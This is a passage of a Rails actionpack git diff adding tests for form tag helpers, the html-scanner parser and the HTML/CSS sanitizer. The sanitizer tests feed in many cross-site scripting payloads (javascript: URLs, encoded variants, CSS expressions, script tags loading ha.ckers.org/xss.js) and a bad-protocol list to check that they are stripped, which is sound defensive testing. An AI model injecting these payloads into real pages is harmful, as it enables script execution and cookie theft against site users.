+ button_tag("Save", :type => "submit", :data => { :confirm => "Are you sure?" })
+ )
+ end
+
+ def test_button_tag_with_deprecated_confirmation
+ assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
+ assert_dom_equal(
+ %(<button name="button" type="submit" data-confirm="Are you sure?">Save</button>),
+ button_tag("Save", :type => "submit", :confirm => "Are you sure?")
+ )
+ end
+ end
+
+ def test_image_submit_tag_with_confirmation
+ assert_dom_equal(
+ %(<input alt="Save" type="image" src="/images/save.gif" data-confirm="Are you sure?" />),
+ image_submit_tag("save.gif", :data => { :confirm => "Are you sure?" })
+ )
+ end
+
+ def test_image_submit_tag_with_deprecated_confirmation
+ assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
+ assert_dom_equal(
+ %(<input alt="Save" type="image" src="/images/save.gif" data-confirm="Are you sure?" />),
+ image_submit_tag("save.gif", :confirm => "Are you sure?")
+ )
+ end
+ end
+
+
+ def test_color_field_tag
+ expected = %{<input id="car" name="car" type="color" />}
+ assert_dom_equal(expected, color_field_tag("car"))
+ end
+
+ def test_search_field_tag
+ expected = %{<input id="query" name="query" type="search" />}
+ assert_dom_equal(expected, search_field_tag("query"))
+ end
+
+ def test_telephone_field_tag
+ expected = %{<input id="cell" name="cell" type="tel" />}
+ assert_dom_equal(expected, telephone_field_tag("cell"))
+ end
+
+ def test_date_field_tag
+ expected = %{<input id="cell" name="cell" type="date" />}
+ assert_dom_equal(expected, date_field_tag("cell"))
+ end
+
+ def test_time_field_tag
+ expected = %{<input id="cell" name="cell" type="time" />}
+ assert_dom_equal(expected, time_field_tag("cell"))
+ end
+
+ def test_datetime_field_tag
+ expected = %{<input id="appointment" name="appointment" type="datetime" />}
+ assert_dom_equal(expected, datetime_field_tag("appointment"))
+ end
+
+ def test_datetime_local_field_tag
+ expected = %{<input id="appointment" name="appointment" type="datetime-local" />}
+ assert_dom_equal(expected, datetime_local_field_tag("appointment"))
+ end
+
+ def test_month_field_tag
+ expected = %{<input id="birthday" name="birthday" type="month" />}
+ assert_dom_equal(expected, month_field_tag("birthday"))
+ end
+
+ def test_week_field_tag
+ expected = %{<input id="birthday" name="birthday" type="week" />}
+ assert_dom_equal(expected, week_field_tag("birthday"))
+ end
+
+ def test_url_field_tag
+ expected = %{<input id="homepage" name="homepage" type="url" />}
+ assert_dom_equal(expected, url_field_tag("homepage"))
+ end
+
+ def test_email_field_tag
+ expected = %{<input id="address" name="address" type="email" />}
+ assert_dom_equal(expected, email_field_tag("address"))
+ end
+
+ def test_number_field_tag
+ expected = %{<input name="quantity" max="9" id="quantity" type="number" min="1" />}
+ assert_dom_equal(expected, number_field_tag("quantity", nil, :in => 1...10))
+ end
+
+ def test_range_input_tag
+ expected = %{<input name="volume" step="0.1" max="11" id="volume" type="range" min="0" />}
+ assert_dom_equal(expected, range_field_tag("volume", nil, :in => 0..11, :step => 0.1))
+ end
+
+ def test_field_set_tag_in_erb
+ output_buffer = render_erb("<%= field_set_tag('Your details') do %>Hello world!<% end %>")
+
+ expected = %(<fieldset><legend>Your details</legend>Hello world!</fieldset>)
+ assert_dom_equal expected, output_buffer
+
+ output_buffer = render_erb("<%= field_set_tag do %>Hello world!<% end %>")
+
+ expected = %(<fieldset>Hello world!</fieldset>)
+ assert_dom_equal expected, output_buffer
+
+ output_buffer = render_erb("<%= field_set_tag('') do %>Hello world!<% end %>")
+
+ expected = %(<fieldset>Hello world!</fieldset>)
+ assert_dom_equal expected, output_buffer
+
+ output_buffer = render_erb("<%= field_set_tag('', :class => 'format') do %>Hello world!<% end %>")
+
+ expected = %(<fieldset class="format">Hello world!</fieldset>)
+ assert_dom_equal expected, output_buffer
+
+ output_buffer = render_erb("<%= field_set_tag %>")
+
+ expected = %(<fieldset></fieldset>)
+ assert_dom_equal expected, output_buffer
+
+ output_buffer = render_erb("<%= field_set_tag('You legend!') %>")
+
+ expected = %(<fieldset><legend>You legend!</legend></fieldset>)
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_text_area_tag_options_symbolize_keys_side_effects
+ options = { :option => "random_option" }
+ text_area_tag "body", "hello world", options
+ assert_equal options, { :option => "random_option" }
+ end
+
+ def test_submit_tag_options_symbolize_keys_side_effects
+ options = { :option => "random_option" }
+ submit_tag "submit value", options
+ assert_equal options, { :option => "random_option" }
+ end
+
+ def test_button_tag_options_symbolize_keys_side_effects
+ options = { :option => "random_option" }
+ button_tag "button value", options
+ assert_equal options, { :option => "random_option" }
+ end
+
+ def test_image_submit_tag_options_symbolize_keys_side_effects
+ options = { :option => "random_option" }
+ image_submit_tag "submit source", options
+ assert_equal options, { :option => "random_option" }
+ end
+
+ def test_image_label_tag_options_symbolize_keys_side_effects
+ options = { :option => "random_option" }
+ label_tag "submit source", "title", options
+ assert_equal options, { :option => "random_option" }
+ end
+
+ def protect_against_forgery?
+ false
+ end
+
+ private
+
+ def root_elem(rendered_content)
+ HTML::Document.new(rendered_content).root.children[0]
+ end
+end
diff --git a/actionpack/test/template/html-scanner/cdata_node_test.rb b/actionpack/test/template/html-scanner/cdata_node_test.rb
new file mode 100644
index 0000000..9b58174
--- /dev/null
+++ b/actionpack/test/template/html-scanner/cdata_node_test.rb
@@ -0,0 +1,15 @@
+require 'abstract_unit'
+
+class CDATANodeTest < ActiveSupport::TestCase
+ def setup
+ @node = HTML::CDATA.new(nil, 0, 0, "<p>howdy</p>")
+ end
+
+ def test_to_s
+ assert_equal "<![CDATA[<p>howdy</p>]]>", @node.to_s
+ end
+
+ def test_content
+ assert_equal "<p>howdy</p>", @node.content
+ end
+end
diff --git a/actionpack/test/template/html-scanner/document_test.rb b/actionpack/test/template/html-scanner/document_test.rb
new file mode 100644
index 0000000..17f045d
--- /dev/null
+++ b/actionpack/test/template/html-scanner/document_test.rb
@@ -0,0 +1,148 @@
+require 'abstract_unit'
+
+class DocumentTest < ActiveSupport::TestCase
+ def test_handle_doctype
+ doc = nil
+ assert_nothing_raised do
+ doc = HTML::Document.new <<-HTML.strip
+ <!DOCTYPE "blah" "blah" "blah">
+ <html>
+ </html>
+ HTML
+ end
+ assert_equal 3, doc.root.children.length
+ assert_equal %{<!DOCTYPE "blah" "blah" "blah">}, doc.root.children[0].content
+ assert_match %r{\s+}m, doc.root.children[1].content
+ assert_equal "html", doc.root.children[2].name
+ end
+
+ def test_find_img
+ doc = HTML::Document.new <<-HTML.strip
+ <html>
+ <body>
+ <p><img src="hello.gif"></p>
+ </body>
+ </html>
+ HTML
+ assert doc.find(:tag=>"img", :attributes=>{"src"=>"hello.gif"})
+ end
+
+ def test_find_all
+ doc = HTML::Document.new <<-HTML.strip
+ <html>
+ <body>
+ <p class="test"><img src="hello.gif"></p>
+ <div class="foo">
+ <p class="test">something</p>
+ <p>here is <em class="test">more</em></p>
+ </div>
+ </body>
+ </html>
+ HTML
+ all = doc.find_all :attributes => { :class => "test" }
+ assert_equal 3, all.length
+ assert_equal [ "p", "p", "em" ], all.map { |n| n.name }
+ end
+
+ def test_find_with_text
+ doc = HTML::Document.new <<-HTML.strip
+ <html>
+ <body>
+ <p>Some text</p>
+ </body>
+ </html>
+ HTML
+ assert doc.find(:content => "Some text")
+ assert doc.find(:tag => "p", :child => { :content => "Some text" })
+ assert doc.find(:tag => "p", :child => "Some text")
+ assert doc.find(:tag => "p", :content => "Some text")
+ end
+
+ def test_parse_xml
+ assert_nothing_raised { HTML::Document.new("<tags><tag/></tags>", true, true) }
+ assert_nothing_raised { HTML::Document.new("<outer><link>something</link></outer>", true, true) }
+ end
+
+ def test_parse_document
+ doc = HTML::Document.new(<<-HTML)
+ <div>
+ <h2>blah</h2>
+ <table>
+ </table>
+ </div>
+ HTML
+ assert_not_nil doc.find(:tag => "div", :children => { :count => 1, :only => { :tag => "table" } })
+ end
+
+ def test_tag_nesting_nothing_to_s
+ doc = HTML::Document.new("<tag></tag>")
+ assert_equal "<tag></tag>", doc.root.to_s
+ end
+
+ def test_tag_nesting_space_to_s
+ doc = HTML::Document.new("<tag> </tag>")
+ assert_equal "<tag> </tag>", doc.root.to_s
+ end
+
+ def test_tag_nesting_text_to_s
+ doc = HTML::Document.new("<tag>text</tag>")
+ assert_equal "<tag>text</tag>", doc.root.to_s
+ end
+
+ def test_tag_nesting_tag_to_s
+ doc = HTML::Document.new("<tag><nested /></tag>")
+ assert_equal "<tag><nested /></tag>", doc.root.to_s
+ end
+
+ def test_parse_cdata
+ doc = HTML::Document.new(<<-HTML)
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+ <head>
+ <title><![CDATA[<br>]]></title>
+ </head>
+ <body>
+ <p>this document has <br> for a title</p>
+ </body>
+</html>
+HTML
+
+ assert_nil doc.find(:tag => "title", :descendant => { :tag => "br" })
+ assert doc.find(:tag => "title", :child => "<br>")
+ end
+
+ def test_find_empty_tag
+ doc = HTML::Document.new("<div id='map'></div>")
+ assert_nil doc.find(:tag => "div", :attributes => { :id => "map" }, :content => /./)
+ assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => /\A\Z/)
+ assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => /^$/)
+ assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => "")
+ assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => nil)
+ end
+
+ def test_parse_invalid_document
+ assert_nothing_raised do
+ HTML::Document.new("<html>
+ <table>
+ <tr>
+ <td style=\"color: #FFFFFF; height: 17px; onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" style=\"cursor:pointer; height: 17px;\"; nowrap onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" onmouseout=\"this.bgColor='#0066cc'; this.style.color='#FFFFFF'\" onmouseover=\"this.bgColor='#ffffff'; this.style.color='#0033cc'\">About Us</td>
+ </tr>
+ </table>
+ </html>")
+ end
+ end
+
+ def test_invalid_document_raises_exception_when_strict
+ assert_raise RuntimeError do
+ HTML::Document.new("<html>
+ <table>
+ <tr>
+ <td style=\"color: #FFFFFF; height: 17px; onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" style=\"cursor:pointer; height: 17px;\"; nowrap onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" onmouseout=\"this.bgColor='#0066cc'; this.style.color='#FFFFFF'\" onmouseover=\"this.bgColor='#ffffff'; this.style.color='#0033cc'\">About Us</td>
+ </tr>
+ </table>
+ </html>", true)
+ end
+ end
+
+end
diff --git a/actionpack/test/template/html-scanner/node_test.rb b/actionpack/test/template/html-scanner/node_test.rb
new file mode 100644
index 0000000..5b5d092
--- /dev/null
+++ b/actionpack/test/template/html-scanner/node_test.rb
@@ -0,0 +1,89 @@
+require 'abstract_unit'
+
+class NodeTest < ActiveSupport::TestCase
+
+ class MockNode
+ def initialize(matched, value)
+ @matched = matched
+ @value = value
+ end
+
+ def find(conditions)
+ @matched && self
+ end
+
+ def to_s
+ @value.to_s
+ end
+ end
+
+ def setup
+ @node = HTML::Node.new("parent")
+ @node.children.concat [MockNode.new(false,1), MockNode.new(true,"two"), MockNode.new(false,:three)]
+ end
+
+ def test_match
+ assert !@node.match("foo")
+ end
+
+ def test_tag
+ assert !@node.tag?
+ end
+
+ def test_to_s
+ assert_equal "1twothree", @node.to_s
+ end
+
+ def test_find
+ assert_equal "two", @node.find('blah').to_s
+ end
+
+ def test_parse_strict
+ s = "<b foo='hello'' bar='baz'>"
+ assert_raise(RuntimeError) { HTML::Node.parse(nil,0,0,s) }
+ end
+
+ def test_parse_relaxed
+ s = "<b foo='hello'' bar='baz'>"
+ node = nil
+ assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
+ assert node.attributes.has_key?("foo")
+ assert !node.attributes.has_key?("bar")
+ end
+
+ def test_to_s_with_boolean_attrs
+ s = "<b foo bar>"
+ node = HTML::Node.parse(nil,0,0,s)
+ assert node.attributes.has_key?("foo")
+ assert node.attributes.has_key?("bar")
+ assert "<b foo bar>", node.to_s
+ end
+
+ def test_parse_with_unclosed_tag
+ s = "<span onmouseover='bang'"
+ node = nil
+ assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
+ assert node.attributes.has_key?("onmouseover")
+ end
+
+ def test_parse_with_valid_cdata_section
+ s = "<![CDATA[<span>contents</span>]]>"
+ node = nil
+ assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
+ assert_kind_of HTML::CDATA, node
+ assert_equal '<span>contents</span>', node.content
+ end
+
+ def test_parse_strict_with_unterminated_cdata_section
+ s = "<![CDATA[neverending..."
+ assert_raise(RuntimeError) { HTML::Node.parse(nil,0,0,s) }
+ end
+
+ def test_parse_relaxed_with_unterminated_cdata_section
+ s = "<![CDATA[neverending..."
+ node = nil
+ assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
+ assert_kind_of HTML::CDATA, node
+ assert_equal 'neverending...', node.content
+ end
+end
diff --git a/actionpack/test/template/html-scanner/sanitizer_test.rb b/actionpack/test/template/html-scanner/sanitizer_test.rb
new file mode 100644
index 0000000..b1c1b83
--- /dev/null
+++ b/actionpack/test/template/html-scanner/sanitizer_test.rb
@@ -0,0 +1,330 @@
+require 'abstract_unit'
+
+class SanitizerTest < ActionController::TestCase
+ def setup
+ @sanitizer = nil # used by assert_sanitizer
+ end
+
+ def test_strip_tags_with_quote
+ sanitizer = HTML::FullSanitizer.new
+ string = '<" <img src="trollface.gif" onload="alert(1)"> hi'
+
+ assert_equal ' hi', sanitizer.sanitize(string)
+ end
+
+ def test_strip_tags
+ sanitizer = HTML::FullSanitizer.new
+ assert_equal("<<<bad html", sanitizer.sanitize("<<<bad html"))
+ assert_equal("<<", sanitizer.sanitize("<<<bad html>"))
+ assert_equal("Dont touch me", sanitizer.sanitize("Dont touch me"))
+ assert_equal("This is a test.", sanitizer.sanitize("<p>This <u>is<u> a <a href='test.html'><strong>test</strong></a>.</p>"))
+ assert_equal("Weirdos", sanitizer.sanitize("Wei<<a>a onclick='alert(document.cookie);'</a>/>rdos"))
+ assert_equal("This is a test.", sanitizer.sanitize("This is a test."))
+ assert_equal(
+ %{This is a test.\n\n\nIt no longer contains any HTML.\n}, sanitizer.sanitize(
+ %{<title>This is <b>a <a href="" target="_blank">test</a></b>.</title>\n\n<!-- it has a comment -->\n\n<p>It no <b>longer <strong>contains <em>any <strike>HTML</strike></em>.</strong></b></p>\n}))
+ assert_equal "This has a here.", sanitizer.sanitize("This has a <!-- comment --> here.")
+ assert_equal "This has a here.", sanitizer.sanitize("This has a <![CDATA[<section>]]> here.")
+ assert_equal "This has an unclosed ", sanitizer.sanitize("This has an unclosed <![CDATA[<section>]] here...")
+ [nil, '', ' '].each { |blank| assert_equal blank, sanitizer.sanitize(blank) }
+ assert_nothing_raised { sanitizer.sanitize("This is a frozen string with no tags".freeze) }
+ end
+
+ def test_strip_links
+ sanitizer = HTML::LinkSanitizer.new
+ assert_equal "Dont touch me", sanitizer.sanitize("Dont touch me")
+ assert_equal "on my mind\nall day long", sanitizer.sanitize("<a href='almost'>on my mind</a>\n<A href='almost'>all day long</A>")
+ assert_equal "0wn3d", sanitizer.sanitize("<a href='http://www.rubyonrails.com/'><a href='http://www.rubyonrails.com/' onlclick='steal()'>0wn3d</a></a>")
+ assert_equal "Magic", sanitizer.sanitize("<a href='http://www.rubyonrails.com/'>Mag<a href='http://www.ruby-lang.org/'>ic")
+ assert_equal "FrrFox", sanitizer.sanitize("<href onlclick='steal()'>FrrFox</a></href>")
+ assert_equal "My mind\nall <b>day</b> long", sanitizer.sanitize("<a href='almost'>My mind</a>\n<A href='almost'>all <b>day</b> long</A>")
+ assert_equal "all <b>day</b> long", sanitizer.sanitize("<<a>a href='hello'>all <b>day</b> long<</A>/a>")
+
+ assert_equal "<a<a", sanitizer.sanitize("<a<a")
+ end
+
+ def test_sanitize_form
+ assert_sanitized "<form action=\"/foo/bar\" method=\"post\"><input></form>", ''
+ end
+
+ def test_sanitize_plaintext
+ raw = "<plaintext><span>foo</span></plaintext>"
+ assert_sanitized raw, "<span>foo</span>"
+ end
+
+ def test_sanitize_script
+ assert_sanitized "a b c<script language=\"Javascript\">blah blah blah</script>d e f", "a b cd e f"
+ end
+
+ def test_sanitize_js_handlers
+ raw = %{onthis="do that" <a href="#" onclick="hello" name="foo" onbogus="remove me">hello</a>}
+ assert_sanitized raw, %{onthis="do that" <a name="foo" href="#">hello</a>}
+ end
+
+ def test_sanitize_javascript_href
+ raw = %{href="javascript:bang" <a href="javascript:bang" name="hello">foo</a>, <span href="javascript:bang">bar</span>}
+ assert_sanitized raw, %{href="javascript:bang" <a name="hello">foo</a>, <span>bar</span>}
+ end
+
+ def test_sanitize_image_src
+ raw = %{src="javascript:bang" <img src="javascript:bang" width="5">foo</img>, <span src="javascript:bang">bar</span>}
+ assert_sanitized raw, %{src="javascript:bang" <img width="5">foo</img>, <span>bar</span>}
+ end
+
+ HTML::WhiteListSanitizer.allowed_tags.each do |tag_name|
+ define_method "test_should_allow_#{tag_name}_tag" do
+ assert_sanitized "start <#{tag_name} title=\"1\" onclick=\"foo\">foo <bad>bar</bad> baz</#{tag_name}> end", %(start <#{tag_name} title="1">foo bar baz</#{tag_name}> end)
+ end
+ end
+
+ def test_should_allow_anchors
+ assert_sanitized %(<a href="foo" onclick="bar"><script>baz</script></a>), %(<a href="foo"></a>)
+ end
+
+ # RFC 3986, sec 4.2
+ def test_allow_colons_in_path_component
+ assert_sanitized("<a href=\"./this:that\">foo</a>")
+ end
+
+ %w(src width height alt).each do |img_attr|
+ define_method "test_should_allow_image_#{img_attr}_attribute" do
+ assert_sanitized %(<img #{img_attr}="foo" onclick="bar" />), %(<img #{img_attr}="foo" />)
+ end
+ end
+
+ def test_should_handle_non_html
+ assert_sanitized 'abc'
+ end
+
+ def test_should_handle_blank_text
+ assert_sanitized nil
+ assert_sanitized ''
+ end
+
+ def test_should_allow_custom_tags
+ text = "<u>foo</u>"
+ sanitizer = HTML::WhiteListSanitizer.new
+ assert_equal(text, sanitizer.sanitize(text, :tags => %w(u)))
+ end
+
+ def test_should_allow_only_custom_tags
+ text = "<u>foo</u> with <i>bar</i>"
+ sanitizer = HTML::WhiteListSanitizer.new
+ assert_equal("<u>foo</u> with bar", sanitizer.sanitize(text, :tags => %w(u)))
+ end
+
+ def test_should_allow_custom_tags_with_attributes
+ text = %(<blockquote cite="http://example.com/">foo</blockquote>)
+ sanitizer = HTML::WhiteListSanitizer.new
+ assert_equal(text, sanitizer.sanitize(text))
+ end
+
+ def test_should_allow_custom_tags_with_custom_attributes
+ text = %(<blockquote foo="bar">Lorem ipsum</blockquote>)
+ sanitizer = HTML::WhiteListSanitizer.new
+ assert_equal(text, sanitizer.sanitize(text, :attributes => ['foo']))
+ end
+
+ def test_should_raise_argument_error_if_tags_is_not_enumerable
+ sanitizer = HTML::WhiteListSanitizer.new
+ e = assert_raise(ArgumentError) do
+ sanitizer.sanitize('', :tags => 'foo')
+ end
+
+ assert_equal "You should pass :tags as an Enumerable", e.message
+ end
+
+ def test_should_raise_argument_error_if_attributes_is_not_enumerable
+ sanitizer = HTML::WhiteListSanitizer.new
+ e = assert_raise(ArgumentError) do
+ sanitizer.sanitize('', :attributes => 'foo')
+ end
+
+ assert_equal "You should pass :attributes as an Enumerable", e.message
+ end
+
+ [%w(img src), %w(a href)].each do |(tag, attr)|
+ define_method "test_should_strip_#{attr}_attribute_in_#{tag}_with_bad_protocols" do
+ assert_sanitized %(<#{tag} #{attr}="javascript:bang" title="1">boo</#{tag}>), %(<#{tag} title="1">boo</#{tag}>)
+ end
+ end
+
+ def test_should_flag_bad_protocols
+ sanitizer = HTML::WhiteListSanitizer.new
+ %w(about chrome data disk hcp help javascript livescript lynxcgi lynxexec ms-help ms-its mhtml mocha opera res resource shell vbscript view-source vnd.ms.radio wysiwyg).each do |proto|
+ assert sanitizer.send(:contains_bad_protocols?, 'src', "#{proto}://bad")
+ end
+ end
+
+ def test_should_accept_good_protocols_ignoring_case
+ sanitizer = HTML::WhiteListSanitizer.new
+ HTML::WhiteListSanitizer.allowed_protocols.each do |proto|
+ assert !sanitizer.send(:contains_bad_protocols?, 'src', "#{proto.capitalize}://good")
+ end
+ end
+
+ def test_should_accept_good_protocols_ignoring_space
+ sanitizer = HTML::WhiteListSanitizer.new
+ HTML::WhiteListSanitizer.allowed_protocols.each do |proto|
+ assert !sanitizer.send(:contains_bad_protocols?, 'src', " #{proto}://good")
+ end
+ end
+
+ def test_should_accept_good_protocols
+ sanitizer = HTML::WhiteListSanitizer.new
+ HTML::WhiteListSanitizer.allowed_protocols.each do |proto|
+ assert !sanitizer.send(:contains_bad_protocols?, 'src', "#{proto}://good")
+ end
+ end
+
+ def test_should_reject_hex_codes_in_protocol
+ assert_sanitized %(<a href="%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%22%58%53%53%22%29">1</a>), "<a>1</a>"
+ assert @sanitizer.send(:contains_bad_protocols?, 'src', "%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%22%58%53%53%22%29")
+ end
+
+ def test_should_block_script_tag
+ assert_sanitized %(<SCRIPT\nSRC=http://ha.ckers.org/xss.js></SCRIPT>), ""
+ end
+
+ [%(<IMG SRC="javascript:alert('XSS');">),
+ %(<IMG SRC=javascript:alert('XSS')>),
+ %(<IMG SRC=JaVaScRiPt:alert('XSS')>),
+ %(<IMG """><SCRIPT>alert("XSS")</SCRIPT>">),
+ %(<IMG SRC=javascript:alert("XSS")>),
+ %(<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>),
+ %(<IMG SRC=javascript:alert('XSS')>),
+ %(<IMG SRC=javascript:alert('XSS')>),
+ %(<IMG SRC=javascript:alert('XSS')>),
+ %(<IMG SRC="jav\tascript:alert('XSS');">),
+ %(<IMG SRC="jav	ascript:alert('XSS');">),
+ %(<IMG SRC="jav
ascript:alert('XSS');">),
+ %(<IMG SRC="jav
ascript:alert('XSS');">),
+ %(<IMG SRC=" javascript:alert('XSS');">),
+ %(<IMG SRC="javascript:alert('XSS');">),
+ %(<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>)].each_with_index do |img_hack, i|
+ define_method "test_should_not_fall_for_xss_image_hack_#{i+1}" do
+ assert_sanitized img_hack, "<img>"
+ end
+ end
+
+ def test_should_sanitize_tag_broken_up_by_null
+ assert_sanitized %(<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>), "alert(\"XSS\")"
+ end
+
+ def test_should_sanitize_invalid_script_tag
+ assert_sanitized %(<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>), ""
+ end
+
+ def test_should_sanitize_script_tag_with_multiple_open_brackets
+ assert_sanitized %(<<SCRIPT>alert("XSS");//<</SCRIPT>), "<"
+ assert_sanitized %(<iframe src=http://ha.ckers.org/scriptlet.html\n<a), %(<a)
+ end
+
+ def test_should_sanitize_unclosed_script
+ assert_sanitized %(<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>), "<b>"
+ end
+
+ def test_should_sanitize_half_open_scripts
+ assert_sanitized %(<IMG SRC="javascript:alert('XSS')"), "<img>"
+ end
+
+ def test_should_not_fall_for_ridiculous_hack
+ img_hack = %(<IMG\nSRC\n=\n"\nj\na\nv\na\ns\nc\nr\ni\np\nt\n:\na\nl\ne\nr\nt\n(\n'\nX\nS\nS\n'\n)\n"\n>)
+ assert_sanitized img_hack, "<img>"
+ end
+
+ def test_should_sanitize_attributes
+ assert_sanitized %(<SPAN title="'><script>alert()</script>">blah</SPAN>), %(<span title="#{CGI.escapeHTML "'><script>alert()</script>"}">blah</span>)
+ end
+
+ def test_should_sanitize_illegal_style_properties
+ raw = %(display:block; position:absolute; left:0; top:0; width:100%; height:100%; z-index:1; background-color:black; background-image:url(http://www.ragingplatypus.com/i/cam-full.jpg); background-x:center; background-y:center; background-repeat:repeat;)
+ expected = %(display: block; width: 100%; height: 100%; background-color: black; background-image: ; background-x: center; background-y: center;)
+ assert_equal expected, sanitize_css(raw)
+ end
+
+ def test_should_sanitize_with_trailing_space
+ raw = "display:block; "
+ expected = "display: block;"
+ assert_equal expected, sanitize_css(raw)
+ end
+
+ def test_should_sanitize_xul_style_attributes
+ raw = %(-moz-binding:url('http://ha.ckers.org/xssmoz.xml#xss'))
+ assert_equal '', sanitize_css(raw)
+ end
+
+ def test_should_sanitize_invalid_tag_names
+ assert_sanitized(%(a b c<script/XSS src="http://ha.ckers.org/xss.js"></script>d e f), "a b cd e f")
+ end
+
+ def test_should_sanitize_non_alpha_and_non_digit_characters_in_tags
+ assert_sanitized('<a onclick!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>foo</a>', "<a>foo</a>")
+ end
+
+ def test_should_sanitize_invalid_tag_names_in_single_tags
+ assert_sanitized('<img/src="http://ha.ckers.org/xss.js"/>', "<img />")
+ end
+
+ def test_should_sanitize_img_dynsrc_lowsrc
+ assert_sanitized(%(<img lowsrc="javascript:alert('XSS')" />), "<img />")
+ end
+
+ def test_should_sanitize_div_background_image_unicode_encoded
+ raw = %(background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029)
+ assert_equal '', sanitize_css(raw)
+ end
+
+ def test_should_sanitize_div_style_expression
+ raw = %(width: expression(alert('XSS'));)
+ assert_equal '', sanitize_css(raw)
+ end
+
+ def test_should_sanitize_across_newlines
+ raw = %(\nwidth:\nexpression(alert('XSS'));\n)
+ assert_equal '', sanitize_css(raw)
+ end
+
+ def test_should_sanitize_img_vbscript
+ assert_sanitized %(<img src='vbscript:msgbox("XSS")' />), '<img />'
+ end
+
+ def test_should_sanitize_cdata_section
+ assert_sanitized "<![CDATA[<span>section</span>]]>", "<![CDATA[<span>section</span>]]>"
+ end
+
+ def test_should_sanitize_unterminated_cdata_section
+ assert_sanitized "<![CDATA[<span>neverending...", "<![CDATA[<span>neverending...]]>"
+ end
+
+ def test_should_not_mangle_urls_with_ampersand
+ assert_sanitized %{<a href=\"http://www.domain.com?var1=1&var2=2\">my link</a>}
+ end
+
+ def test_should_sanitize_neverending_attribute
+ assert_sanitized "<span class=\"\\", "<span class=\"\\\">"
+ end
+
+ def test_x03a
+ assert_sanitized %(<a href="javascript:alert('XSS');">), "<a>"
+ assert_sanitized %(<a href="javascript:alert('XSS');">), "<a>"
+ assert_sanitized %(<a href="http://legit">), %(<a href="http://legit">)
+ assert_sanitized %(<a href="javascript:alert('XSS');">), "<a>"
+ assert_sanitized %(<a href="javascript:alert('XSS');">), "<a>"
+ assert_sanitized %(<a href="http://legit">), %(<a href="http://legit">)
+ end
+
+protected
+ def assert_sanitized(input, expected = nil)
+ @sanitizer ||= HTML::WhiteListSanitizer.new
+ if input
+ assert_dom_equal expected || input, @sanitizer.sanitize(input)
+ else
+ assert_nil @sanitizer.sanitize(input)
+ end
+ end
+
+ def sanitize_css(input)
+ (@sanitizer ||= HTML::WhiteListSanitizer.new).sanitize_css(input)
+ end
+end
diff --git a/actionpack/test/template/html-scanner/tag_node_test.rb b/actionpack/test/template/html-scanner/tag_node_test.rb
new file mode 100644
index 0000000..a29d2d4
--- /dev/null
+++ b/actionpack/test/template/html-scanner/tag_node_test.rb
@@ -0,0 +1,243 @@
+require 'abstract_unit'
+
+class TagNodeTest < ActiveSupport::TestCase
+ def test_open_without_attributes
+ node = tag("<tag>")
+ assert_equal "tag", node.name
+ assert_equal Hash.new, node.attributes
+ assert_nil node.closing
+ end
+
+ def test_open_with_attributes
+ node = tag("<TAG1 foo=hey_ho x:bar=\"blah blah\" BAZ='blah blah blah' >")
+ assert_equal "tag1", node.name
+ assert_equal "hey_ho", node["foo"]
+ assert_equal "blah blah", node["x:bar"]
+ assert_equal "blah blah blah", node["baz"]
+ end
+
+ def test_self_closing_without_attributes
+ node = tag("<tag/>")
+ assert_equal "tag", node.name
+ assert_equal Hash.new, node.attributes
+ assert_equal :self, node.closing
+ end
+
+ def test_self_closing_with_attributes
+ node = tag("<tag a=b/>")
+ assert_equal "tag", node.name
+ assert_equal( { "a" => "b" }, node.attributes )
+ assert_equal :self, node.closing
+ end
+
+ def test_closing_without_attributes
+ node = tag("</tag>")
+ assert_equal "tag", node.name
+ assert_nil node.attributes
+ assert_equal :close, node.closing
+ end
+
+ def test_bracket_op_when_no_attributes
+ node = tag("</tag>")
+ assert_nil node["foo"]
+ end
+
+ def test_bracket_op_when_attributes
+ node = tag("<tag a=b/>")
+ assert_equal "b", node["a"]
+ end
+
+ def test_attributes_with_escaped_quotes
+ node = tag("<tag a='b\\'c' b=\"bob \\\"float\\\"\">")
+ assert_equal "b\\'c", node["a"]
+ assert_equal "bob \\\"float\\\"", node["b"]
+ end
+
+ def test_to_s
+ node = tag("<a b=c d='f' g=\"h 'i'\" />")
+ node = node.to_s
+ assert node.include?('a')
+ assert node.include?('b="c"')
+ assert node.include?('d="f"')
+ assert node.include?('g="h')
+ assert node.include?('i')
+ end
+
+ def test_tag
+ assert tag("<tag>").tag?
+ end
+
+ def test_match_tag_as_string
+ assert tag("<tag>").match(:tag => "tag")
+ assert !tag("<tag>").match(:tag => "b")
+ end
+
+ def test_match_tag_as_regexp
+ assert tag("<tag>").match(:tag => /t.g/)
+ assert !tag("<tag>").match(:tag => /t[bqs]g/)
+ end
+
+ def test_match_attributes_as_string
+ t = tag("<tag a=something b=else />")
+ assert t.match(:attributes => {"a" => "something"})
